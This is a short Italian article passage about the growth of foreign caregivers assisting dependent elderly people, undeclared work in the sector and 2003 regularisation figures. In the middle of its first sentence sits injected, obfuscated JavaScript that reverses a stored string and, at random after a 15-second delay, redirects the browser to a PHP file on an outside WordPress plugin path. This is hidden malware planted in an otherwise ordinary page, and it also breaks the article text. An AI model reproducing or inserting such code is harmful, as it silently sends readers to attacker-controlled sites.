Un fenomeno in crescita

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L’assistenza a domicilio da parte di stranieri a persone non autosufficienti, prevalentemente anziani, sta registr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando una fortissima crescita. Tuttavia, si tratta di un fenomeno che tende a sfuggire dalle statistiche ufficiali, sviluppandosi in larga parte all’interno di un mercato privato poco trasparente e privo delle garanzie previste a livello contrattuale, retributivo e previdenziale. Il diffuso ricorso all’impiego al nero di stranieri in questo settore è dimostrato dall’elevato numero di regolarizzazioni avviate nel 2003: ben l’83,5% delle 702.000 domande presentate ha riguardato complessivamente il lavoro domestico (45,8%) e l’assistenza (37,7%), mentre solo il 16,5% il lavoro subordinato. Quasi la metà delle regolarizzazioni ha interessato le donne (321.000, pari al 45,7%). (I.R.)

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